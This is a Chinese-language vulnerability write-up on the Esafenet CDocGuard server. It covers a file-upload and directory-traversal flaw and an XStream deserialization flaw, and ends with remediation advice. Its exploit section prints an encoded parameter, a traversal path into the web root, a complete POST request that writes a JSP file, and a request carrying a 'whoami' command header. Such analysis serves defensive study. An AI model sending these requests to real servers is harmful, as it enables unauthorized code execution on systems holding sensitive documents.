亿赛通漏洞浅析
字数 1013 2025-08-24 10:10:13

亿赛通漏洞分析与利用教学文档

1. 文件上传漏洞分析

1.1 漏洞发现

在亿赛通安装包的web.xml文件中搜索upload相关的servlet,发现UploadFileFromClientServiceForClient存在文件上传漏洞。

1.2 漏洞代码分析

  1. 存在文件写入操作,关键点在于文件名是否可控以及文件后缀限制
  2. fileName获取流程:
    • 遍历var12数组,查找以fileName开头的元素
    • =号后面的值作为文件名(如构造fileName=1.jsp即可使fileName1.jsp
  3. var12数组由value_decode字符串通过&字符分割得到
  4. value_decode经过CDGUtil.decodesubstring处理
  5. 原始输入来自req.getQueryString()获取的查询字符串

1.3 漏洞利用

  1. 构造payload:

    ?a=ODJNOLIDLOLPEJHCOIFJJDIJOLLFJLDE
    
    • ODJNOLIDLOLPEJHCOIFJJDIJOLLFJLDEfileName=1.jsp&1经过CDGUtil.encode加密的结果
  2. 文件默认写入路径:

    C:\fileDB\uploaded\store
    
  3. 目录穿越上传到web目录:

    ../../../Program Files (x86)/ESAFENET/CDocGuard Server/tomcat64/webapps/ROOT/1.jsp
    
  4. 完整利用payload示例:

    POST /CDGServer3/UploadFileFromClientServiceForClient?a=AFMALANMJCEOENIBDJMKFHBANGEPKHNOFJBMIFJPFNKFOKHJNMLCOIDDJGNEIPOLOKGAFAFJHDEJPHEPLFJHDGPBNELNFIICGFNGEOEFBKCDDCGJEPIKFHJFAOOHJEPNNCLFHDAFDNCGBAEELJFFHABJPDPIEEMIBOECDMDLEPBJCGBIFBGJGJBMCM HTTP/1.1
    Host: 192.168.37.130:8443
    Connection: close
    Content-Length: 26
    
    <%out.println("123213");%>
    

2. XStream反序列化漏洞分析

2.1 漏洞背景

亿赛通使用了存在漏洞的XStream 1.4.9组件。

2.2 漏洞位置

GetValidateLoginUserService中调用了XStream组件,fromXML方法会反序列化XML格式内容,且未对输入做校验。

2.3 漏洞利用要点

  1. 传入的XML内容会经过解密处理,需要先用CDGUtil.encode进行加密
  2. 构造恶意XML payload进行反序列化攻击

2.4 利用示例

POST /CDGServer3/xxxxxxxxxxxx HTTP/1.1
Host: 192.168.37.130:8443
Connection: close
ttt: whoami
Content-Length: 29724

[恶意XML payload]

3. 总结与防御建议

3.1 漏洞总结

  1. 文件上传漏洞:

    • 未对文件名进行有效过滤
    • 允许目录穿越
    • 文件内容未做安全检查
  2. XStream反序列化漏洞:

    • 使用存在漏洞的XStream版本
    • 未对反序列化输入做校验

3.2 防御建议

  1. 文件上传漏洞修复:

    • 限制上传文件类型
    • 禁止目录穿越
    • 对上传内容进行安全检查
    • 将上传文件存储在非web可访问目录
  2. XStream反序列化漏洞修复:

    • 升级XStream到安全版本
    • 实现输入校验机制
    • 使用白名单限制可反序列化的类
  3. 通用安全建议:

    • 定期进行安全审计
    • 实施最小权限原则
    • 对用户输入进行严格验证和过滤
亿赛通漏洞分析与利用教学文档 1. 文件上传漏洞分析 1.1 漏洞发现 在亿赛通安装包的web.xml文件中搜索upload相关的servlet,发现 UploadFileFromClientServiceForClient 存在文件上传漏洞。 1.2 漏洞代码分析 存在文件写入操作,关键点在于文件名是否可控以及文件后缀限制 fileName 获取流程: 遍历 var12 数组,查找以 fileName 开头的元素 取 = 号后面的值作为文件名(如构造 fileName=1.jsp 即可使 fileName 为 1.jsp ) var12 数组由 value_decode 字符串通过 & 字符分割得到 value_decode 经过 CDGUtil.decode 与 substring 处理 原始输入来自 req.getQueryString() 获取的查询字符串 1.3 漏洞利用 构造payload: ODJNOLIDLOLPEJHCOIFJJDIJOLLFJLDE 是 fileName=1.jsp&1 经过 CDGUtil.encode 加密的结果 文件默认写入路径: 目录穿越上传到web目录: 完整利用payload示例: 2. XStream反序列化漏洞分析 2.1 漏洞背景 亿赛通使用了存在漏洞的XStream 1.4.9组件。 2.2 漏洞位置 GetValidateLoginUserService 中调用了XStream组件, fromXML 方法会反序列化XML格式内容,且未对输入做校验。 2.3 漏洞利用要点 传入的XML内容会经过解密处理,需要先用 CDGUtil.encode 进行加密 构造恶意XML payload进行反序列化攻击 2.4 利用示例 3. 总结与防御建议 3.1 漏洞总结 文件上传漏洞: 未对文件名进行有效过滤 允许目录穿越 文件内容未做安全检查 XStream反序列化漏洞: 使用存在漏洞的XStream版本 未对反序列化输入做校验 3.2 防御建议 文件上传漏洞修复: 限制上传文件类型 禁止目录穿越 对上传内容进行安全检查 将上传文件存储在非web可访问目录 XStream反序列化漏洞修复: 升级XStream到安全版本 实现输入校验机制 使用白名单限制可反序列化的类 通用安全建议: 定期进行安全审计 实施最小权限原则 对用户输入进行严格验证和过滤